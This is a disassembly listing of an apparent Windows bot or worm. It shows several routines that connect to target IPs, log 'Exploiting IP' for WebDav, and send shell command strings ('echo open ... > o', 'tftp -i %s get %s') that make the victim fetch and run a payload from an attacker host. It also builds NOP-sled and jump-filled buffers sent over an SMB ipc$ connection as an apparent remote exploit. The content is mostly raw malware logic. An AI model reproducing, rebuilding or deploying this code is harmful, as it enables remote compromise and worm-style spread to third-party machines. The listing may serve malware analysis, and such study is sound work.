		lea	esi, [eax+1]


loc_41145A:				; CODE XREF: sub_411235+22Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41145A
		mov	ecx, [ebp+var_8]
		sub	eax, esi
		lea	edi, [eax+ebx]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_1210]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_411482:				; CODE XREF: sub_411235+252j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411482
		sub	eax, esi
		mov	esi, [ebp+var_10]
		xor	edi, edi
		push	edi
		push	eax
		push	ebx
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4114B5
		push	ebx
		call	sub_412FE4
		push	[ebp+var_C]
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_4112C2
; ---------------------------------------------------------------------------


loc_4114B5:				; CODE XREF: sub_411235+268j
		push	edi
		push	1388h
		push	ebx
		push	esi
		call	dword_433414	; recv
		push	ebx
		call	sub_412FE4
		push	[ebp+var_C]
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4335AC	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_210]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		cmp	[ebp+arg_138], edi
		jnz	short loc_41152E
		push	edi
		push	[ebp+arg_134]
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+arg_98]
		push	eax
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_41152E:				; CODE XREF: sub_411235+2D7j
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax


loc_41154F:				; CODE XREF: sub_411235+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411554	proc near		; CODE XREF: sub_4115E8+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_411575
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_411575:				; CODE XREF: sub_411554+19j
		push	ebx
		push	esi


loc_411577:				; CODE XREF: sub_411554+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_411585
		cmp	[ebp+var_4], eax
		jnz	short loc_4115CD


loc_411585:				; CODE XREF: sub_411554+2Aj
		test	edi, edi
		jnz	short loc_4115C2
		cmp	bl, 2Dh
		jnz	short loc_4115B6
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_4115B6
		cmp	al, 5Dh
		jz	short loc_4115B6
		cmp	[ebp+var_4], edi
		jnz	short loc_4115B6
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4115C2
		cmp	bl, al
		jg	short loc_4115C2
		mov	[edx], esi
		jmp	short loc_4115BF
; ---------------------------------------------------------------------------


loc_4115B6:				; CODE XREF: sub_411554+38j
					; sub_411554+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4115C2


loc_4115BF:				; CODE XREF: sub_411554+60j
		xor	edi, edi
		inc	edi


loc_4115C2:				; CODE XREF: sub_411554+33j
					; sub_411554+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_411577
; ---------------------------------------------------------------------------


loc_4115CD:				; CODE XREF: sub_411554+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4115DA
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4115DA:				; CODE XREF: sub_411554+7Ej
		cmp	edi, eax
		jnz	short loc_4115E3
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4115E3:				; CODE XREF: sub_411554+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_411554	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115E8	proc near		; CODE XREF: sub_4078FA+57C2p
					; sub_41167C+65p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41164A
; ---------------------------------------------------------------------------


loc_4115F4:				; CODE XREF: sub_4115E8+66j
		cmp	eax, 1
		jnz	short loc_41165B
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41165B
		cmp	cl, 2Ah
		jz	short loc_411633
		cmp	cl, 3Fh
		jz	short loc_411618
		cmp	cl, 5Bh
		jz	short loc_41161D
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_411618:				; CODE XREF: sub_4115E8+22j
		inc	[ebp+arg_4]
		jmp	short loc_411646
; ---------------------------------------------------------------------------


loc_41161D:				; CODE XREF: sub_4115E8+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_411554
		mov	esi, [ebp+arg_0]
		jmp	short loc_411644
; ---------------------------------------------------------------------------


loc_411633:				; CODE XREF: sub_4115E8+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41167C
		mov	esi, [ebp+arg_0]
		dec	esi


loc_411644:				; CODE XREF: sub_4115E8+49j
		pop	ecx
		pop	ecx


loc_411646:				; CODE XREF: sub_4115E8+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_41164A:				; CODE XREF: sub_4115E8+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_4115F4
		jmp	short loc_41165B
; ---------------------------------------------------------------------------


loc_411652:				; CODE XREF: sub_4115E8+76j
		cmp	eax, 1
		jnz	short loc_411677
		inc	esi
		mov	[ebp+arg_0], esi


loc_41165B:				; CODE XREF: sub_4115E8+Fj
					; sub_4115E8+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_411652
		cmp	eax, 1
		jnz	short loc_411677
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_411677
		cmp	byte ptr [esi],	0
		jnz	short loc_411677
		xor	eax, eax
		inc	eax
		jmp	short loc_411679
; ---------------------------------------------------------------------------


loc_411677:				; CODE XREF: sub_4115E8+6Dj
					; sub_4115E8+7Bj ...
		xor	eax, eax


loc_411679:				; CODE XREF: sub_4115E8+8Dj
		pop	esi
		pop	ebp
		retn
sub_4115E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41167C	proc near		; CODE XREF: sub_4115E8+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_4116AB
; ---------------------------------------------------------------------------


loc_411696:				; CODE XREF: sub_41167C+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_4116A7
		cmp	cl, 2Ah
		jnz	short loc_4116B3
		cmp	cl, 3Fh
		jnz	short loc_4116A9


loc_4116A7:				; CODE XREF: sub_41167C+1Fj
		inc	dword ptr [edi]


loc_4116A9:				; CODE XREF: sub_41167C+29j
		inc	dword ptr [esi]


loc_4116AB:				; CODE XREF: sub_41167C+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_411696


loc_4116B3:				; CODE XREF: sub_41167C+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4116C2


loc_4116B8:				; CODE XREF: sub_41167C+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_4116B8


loc_4116C2:				; CODE XREF: sub_41167C+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_4116DF
		cmp	[eax], bl
		jz	short loc_4116D2
		xor	eax, eax
		jmp	short loc_411744
; ---------------------------------------------------------------------------


loc_4116D2:				; CODE XREF: sub_41167C+50j
		cmp	dl, bl
		jnz	short loc_4116DF
		cmp	[eax], bl
		jnz	short loc_4116DF
		xor	eax, eax
		inc	eax
		jmp	short loc_411744
; ---------------------------------------------------------------------------


loc_4116DF:				; CODE XREF: sub_41167C+4Cj
					; sub_41167C+58j ...
		push	ecx
		push	eax
		call	sub_4115E8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41172E


loc_4116EC:				; CODE XREF: sub_41167C+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_411710


loc_4116F8:				; CODE XREF: sub_41167C+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_411710
		cmp	[eax], bl
		jz	short loc_411725
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_4116F8


loc_411710:				; CODE XREF: sub_41167C+7Aj
					; sub_41167C+81j
		cmp	[eax], bl
		jz	short loc_411725
		push	eax
		push	dword ptr [esi]
		call	sub_4115E8
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41172A
; ---------------------------------------------------------------------------


loc_411725:				; CODE XREF: sub_41167C+85j
					; sub_41167C+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41172A:				; CODE XREF: sub_41167C+A7j
		cmp	eax, ebx
		jnz	short loc_4116EC


loc_41172E:				; CODE XREF: sub_41167C+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_411741
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_411741
		mov	[ebp+var_4], 1


loc_411741:				; CODE XREF: sub_41167C+B6j
					; sub_41167C+BCj
		mov	eax, [ebp+var_4]


loc_411744:				; CODE XREF: sub_41167C+54j
					; sub_41167C+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41167C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		and	dword ptr [ebp-10h], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_427540
		lea	edi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		push	15Bh
		movsw
		mov	dword ptr [ebp-44h], 6741A1CDh
		mov	dword ptr [ebp-40h], 6741A199h
		mov	dword ptr [ebp-3Ch], 6741A426h
		mov	dword ptr [ebp-38h], 67419E1Dh
		mov	dword ptr [ebp-34h], 67419CE8h
		mov	dword ptr [ebp-30h], 0FFB7DE9h
		mov	dword ptr [ebp-2Ch], 0FFB832Fh
		call	sub_41344D
		pop	ecx
		mov	edi, eax
		mov	[ebp-4], edi
		push	56h
		xor	eax, eax
		pop	ecx
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp-4]
		mov	edi, ecx
		lea	esi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		add	ecx, 11h
		movsw
		mov	edi, ecx
		mov	[ebp-28h], ecx
		dec	edi


loc_4117C9:				; CODE XREF: .text:004117CFj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4117C9
		mov	esi, offset loc_42753C
		movsw
		movsb
		mov	edi, ecx
		dec	edi


loc_4117DC:				; CODE XREF: .text:004117E2j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4117DC
		mov	esi, offset aNilsisgay ; "NILSISGAY!!"
		movsd
		push	6
		movsd
		push	1
		push	2
		movsd
		call	dword_4334A0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411A26
		and	dword ptr [ebp-8], 0
		lea	esi, [ebp-44h]
		mov	[ebp-0Ch], esi


loc_41180D:				; CODE XREF: .text:004119B1j
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_433514	; inet_addr
		push	dword ptr [ebp+12Ch]
		mov	[ebp-20h], eax
		call	dword_4335EC	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41199D
		mov	edi, [ebp-28h]
		not	dword ptr [esi]
		push	4
		push	esi
		push	edi
		call	sub_412A80
		mov	eax, offset loc_42A1D0
		add	esp, 0Ch
		mov	ecx, eax


loc_411867:				; CODE XREF: .text:0041186Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411867
		sub	eax, ecx
		mov	esi, ecx
		dec	edi


loc_411873:				; CODE XREF: .text:00411879j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_411873
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-4]
		rep movsb
		lea	ecx, [eax+1]


loc_41188F:				; CODE XREF: .text:00411894j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41188F
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		call	dword_433534	; send
		test	eax, eax
		jz	loc_41199A
		mov	esi, ds:dword_41F000
		push	3E8h
		call	esi	; Sleep
		push	ebx
		call	dword_4335AC	; closesocket
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_433514	; inet_addr
		push	7BDh
		mov	[ebp-20h], eax
		call	dword_4335EC	; ntohs
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_433458	; connect
		test	eax, eax
		jz	loc_41199A
		mov	eax, offset byte_42AED0
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		mov	edi, 190h
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	dword_432FF4
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 14h
		push	0
		add	edi, 70h
		push	edi
		lea	eax, [ebp-3D4h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_433414	; recv
		test	eax, eax
		jle	short loc_41199A
		push	1F4h
		call	esi	; Sleep
		lea	eax, [ebp-1D4h]
		lea	edx, [eax+1]


loc_41197C:				; CODE XREF: .text:00411981j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41197C
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp-1D4h]
		push	eax
		push	ebx
		call	dword_433534	; send
		test	eax, eax
		jg	short loc_4119B9


loc_41199A:				; CODE XREF: .text:004118A8j
					; .text:004118FCj ...
		mov	esi, [ebp-0Ch]


loc_41199D:				; CODE XREF: .text:00411849j
		push	ebx
		call	dword_4335AC	; closesocket
		inc	dword ptr [ebp-8]
		add	esi, 4
		cmp	dword ptr [ebp-8], 7
		mov	[ebp-0Ch], esi
		jb	loc_41180D
		jmp	short loc_411A26
; ---------------------------------------------------------------------------


loc_4119B9:				; CODE XREF: .text:00411998j
		push	ebx
		call	dword_4335AC	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-3D4h]
		push	edi
		push	eax
		mov	dword ptr [ebp-10h], 1
		call	sub_412E0D
		add	esp, 14h
		cmp	dword ptr [ebp+140h], 0
		jnz	short loc_411A19
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-3D4h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_411A19:				; CODE XREF: .text:004119F6j
		lea	eax, [ebp-3D4h]
		push	eax
		call	sub_401C33
		pop	ecx


loc_411A26:				; CODE XREF: .text:004117FDj
					; .text:004119B7j
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A2E	proc near		; CODE XREF: sub_411B71+3F8p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_433514	; inet_addr
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	ax, word_42BDA0
		push	eax
		call	dword_4335EC	; ntohs
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4334A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jnz	short loc_411A87
		xor	al, al
		jmp	loc_411B6C
; ---------------------------------------------------------------------------


loc_411A87:				; CODE XREF: sub_411A2E+50j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_411B61
		push	ebx
		mov	edi, 400h
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	[ebp+arg_94]
		lea	eax, [ebp+arg_14]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		mov	esi, 190h
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_1A4]
		add	esp, 14h
		lea	ecx, [eax+1]


loc_411ADF:				; CODE XREF: sub_411A2E+B6j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_411ADF
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B61
		push	1F4h
		call	ds:dword_41F000	; Sleep
		push	offset byte_42AED0
		push	offset aS_4	; "%s\r\n"
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_1A4]
		add	esp, 10h
		lea	edx, [eax+1]


loc_411B2D:				; CODE XREF: sub_411A2E+104j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_411B2D
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B61
		push	ebx
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433414	; recv
		mov	bl, 1


loc_411B61:				; CODE XREF: sub_411A2E+69j
					; sub_411A2E+CFj ...
		push	[ebp+var_4]
		call	dword_4335AC	; closesocket
		mov	al, bl


loc_411B6C:				; CODE XREF: sub_411A2E+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B71	proc near		; CODE XREF: .text:00412098p
					; .text:004120BAp

var_81DC	= byte ptr -81DCh
var_8174	= byte ptr -8174h
var_6104	= byte ptr -6104h
var_6094	= byte ptr -6094h
var_55D0	= byte ptr -55D0h
var_402C	= byte ptr -402Ch
var_402B	= byte ptr -402Bh
var_2F98	= byte ptr -2F98h
var_24D4	= byte ptr -24D4h
var_24D3	= byte ptr -24D3h
var_24D0	= byte ptr -24D0h
var_2454	= byte ptr -2454h
var_1C84	= byte ptr -1C84h
var_17D9	= byte ptr -17D9h
var_14EC	= byte ptr -14ECh
var_EAC		= byte ptr -0EACh
var_8D0		= byte ptr -8D0h
var_830		= byte ptr -830h
var_6C8		= dword	ptr -6C8h
var_6B8		= byte ptr -6B8h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_384		= byte ptr -384h
var_124		= dword	ptr -124h
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_AC		= byte ptr -0ACh
var_A9		= byte ptr -0A9h
var_7F		= byte ptr -7Fh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_140		= dword	ptr  148h
arg_144		= dword	ptr  14Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 81DCh
		call	sub_412DD0
		mov	eax, ds:dword_4275EC
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_4275F0
		push	esi
		mov	[ebp+var_8], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		xor	eax, eax


loc_411BA8:				; CODE XREF: sub_411B71+4Ej
		mov	cl, [ebp+eax+var_34]
		and	[ebp+eax*2+var_FB], 0
		mov	[ebp+eax*2+var_FC], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_411BA8
		push	18h
		pop	ecx
		mov	esi, offset dword_42B998
		lea	edi, [ebp+var_AC]
		lea	eax, [ebp+var_34]
		rep movsd
		lea	edx, [eax+1]


loc_411BD7:				; CODE XREF: sub_411B71+6Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411BD7
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp+var_FC]
		lea	edi, [ebp+var_7C]
		lea	eax, [ebp+var_34]
		rep movsw
		lea	ecx, [eax+1]


loc_411BF4:				; CODE XREF: sub_411B71+88j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411BF4
		sub	eax, ecx
		lea	edi, [ebp+eax*2+var_7D]
		mov	esi, (offset aC_4+3)
		movsd
		movsd
		lea	eax, [ebp+var_34]
		movsb
		lea	ecx, [eax+1]


loc_411C0F:				; CODE XREF: sub_411B71+A3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411C0F
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		mov	[ebp+var_A9], al
		lea	eax, [ebp+var_34]
		lea	ecx, [eax+1]


loc_411C2B:				; CODE XREF: sub_411B71+BFj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411C2B
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		mov	[ebp+var_7F], al
		xor	eax, eax
		mov	ax, word_42BDA0
		push	eax
		call	dword_4335EC	; ntohs
		xor	eax, 9999h
		cmp	[ebp+arg_144], 0
		mov	word_42B690, ax
		mov	eax, 90909090h
		jz	loc_411D3D
		mov	ecx, 36Bh
		lea	edi, [ebp+var_EAC]
		rep stosd
		mov	eax, [ebp+arg_144]
		imul	eax, 3Ch
		mov	edx, dword_42BDE0[eax]
		mov	eax, offset loc_42B5E0
		mov	ecx, eax
		mov	[ebp+var_6C8], edx
		lea	esi, [ecx+1]


loc_411C93:				; CODE XREF: sub_411B71+127j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_411C93
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp+var_6B8]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	[ebp+var_394], 6EB06EBh
		mov	[ebp+var_390], edx
		lea	esi, [ecx+1]


loc_411CC7:				; CODE XREF: sub_411B71+15Bj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_411CC7
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_384]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_411CE8:				; CODE XREF: sub_411B71+193j
		mov	cl, [ebp+eax+var_EAC]
		and	[ebp+eax*2+var_402B], 0
		mov	[ebp+eax*2+var_402C], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_411CE8
		and	[ebp+var_24D4],	0
		and	[ebp+var_24D3],	0
		mov	edx, 714h
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_81DC]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_6104]
		rep stosd
		stosw
		jmp	short loc_411DA4
; ---------------------------------------------------------------------------


loc_411D3D:				; CODE XREF: sub_411B71+F0j
		mov	ecx, 1F4h
		lea	edi, [ebp+var_8D0]
		rep stosd
		mov	eax, offset loc_42B5E0
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_411D54:				; CODE XREF: sub_411B71+1E8j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_411D54
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_830]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp+var_C]
		rep movsb
		lea	ecx, [eax+1]


loc_411D79:				; CODE XREF: sub_411B71+20Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411D79
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp+var_C]
		lea	edi, [ebp+var_114]
		rep movsd
		mov	ecx, eax
		mov	eax, dword_42BDE0
		and	ecx, 3
		rep movsb
		mov	[ebp+var_124], eax


loc_411DA4:				; CODE XREF: sub_411B71+1CAj
		mov	esi, [ebp+arg_140]
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp+var_24D0]
		rep stosd
		stosb
		movsx	eax, [ebp+var_1]
		push	0
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411DE1


loc_411DDA:				; CODE XREF: sub_411B71+29Aj
					; sub_411B71+2C1j ...
		xor	al, al
		jmp	loc_411F79
; ---------------------------------------------------------------------------


loc_411DE1:				; CODE XREF: sub_411B71+267j
		push	0
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414	; recv
		xor	edi, edi
		push	edi
		push	68h
		push	offset dword_42BA00
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DDA
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	edi
		push	0A0h
		push	offset dword_42BA70
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DDA
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414	; recv
		cmp	[ebp+arg_144], edi
		jz	loc_411EF1
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42BC30
		lea	edi, [ebp+var_81DC]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp+var_402C]
		lea	edi, [ebp+var_8174]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42BCA0
		lea	edi, [ebp+var_6104]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp+var_2F98]
		lea	edi, [ebp+var_6094]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42BD18
		lea	edi, [ebp+var_55D0]
		rep movsd
		xor	esi, esi
		push	esi
		push	10FCh
		lea	eax, [ebp+var_81DC]
		push	eax
		push	[ebp+arg_140]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
